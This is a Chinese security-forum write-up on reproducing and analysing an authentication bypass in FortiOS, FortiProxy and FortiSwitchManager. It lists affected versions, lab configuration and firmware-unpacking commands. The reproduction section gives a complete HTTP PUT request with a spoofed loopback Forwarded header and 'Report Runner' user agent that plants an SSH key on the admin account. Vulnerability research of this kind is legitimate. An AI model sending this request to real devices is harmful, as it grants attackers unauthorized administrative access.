本文为看雪论坛优秀文章
看雪论坛作者ID:mb_wujuesou
一
漏洞介绍
二
影响版本
7.0.0 <= FortiOS <= 7.0.6
7.2.0 <= FortiOS <= 7.2.1
7.0.0 <= FortiProxy <= 7.0.6
FortiProxy = 7.2.0
FortiSwitchManager = 7.0.0
FortiSwitchManager = 7.2.0
三
漏洞复现
show system interface
config system interface
set mode static
set ip 192.168.27.99 255.255.255.0
set allowaccess http https ping ssh
end
config router static
edit 1
set device port1
set gateway 192.168.27.2
end
登录成功:
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
Host: 192.168.27.99
User-Agent: Report Runner
Accept-Encoding: gzip, deflate
Connection:close
Forwarded: for=127.0.0.1; by=127.0.0.1;
Content-Type:application/json
Content-Length: 427
{
"ssh-public-key1": ""ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsEIb3qw+aveFIyn2bV+ZSsrgAoVKJN5TEjTtVEBq8i/C050DSFxXvQiEIm73Kc9H+6oHDU5A1ziEfMu12hSK7sJ6ThDd6Qvn9DjOtWKRUVDLzIHZGQq7v3YEg6H9MXkvx3NrcSOoIuTUEhCKo/ev56qx+BC6rsy28VAO9Bh4qzUWdlafQrpUHCbC4fGDdhPl7pEVPuCrauzP+FowrWD6CWnulTv3LkS7frlXj8SOpWOs+fZFq0FRUKZWnB2oAwl4/i9WM76D9PVXefbx4OMEc/rExTSLj4tJhORCpLRfd0IAJATKTydgUrBHefO/I0HjnjMzyIcj/VmMwEvQeWTMIw== rsa 2048-112522""
}
四
原理分析
sudo apt install libguestfs-tools
sudo virt-filesystems -a fortios.vmdk
sudo guestmount -a fortios.vmdk -m /dev/sda1 --ro mount_dir_name(替换成自己的目标文件夹)
gunzpi rootfs.gz
cpio -i 2> /dev/null < rootfs
ls
xz --decompress *.xz
find . -name xz
./sbin/xz --decompress *.xz
file ./sbin/xz
patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 sbin/xz
./sbin/xz --decompress *.xz
ls *.tar
ls -la httpsd
ls -ls init
diagnose debug enable
diagnose debug application httpsd -1
diagnose debug cli 8
使用poc进行测试,操作的信息会输出到屏幕上:
10、分析程序
看雪ID:mb_wujuesou
https://bbs.pediy.com/user-home-968133.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!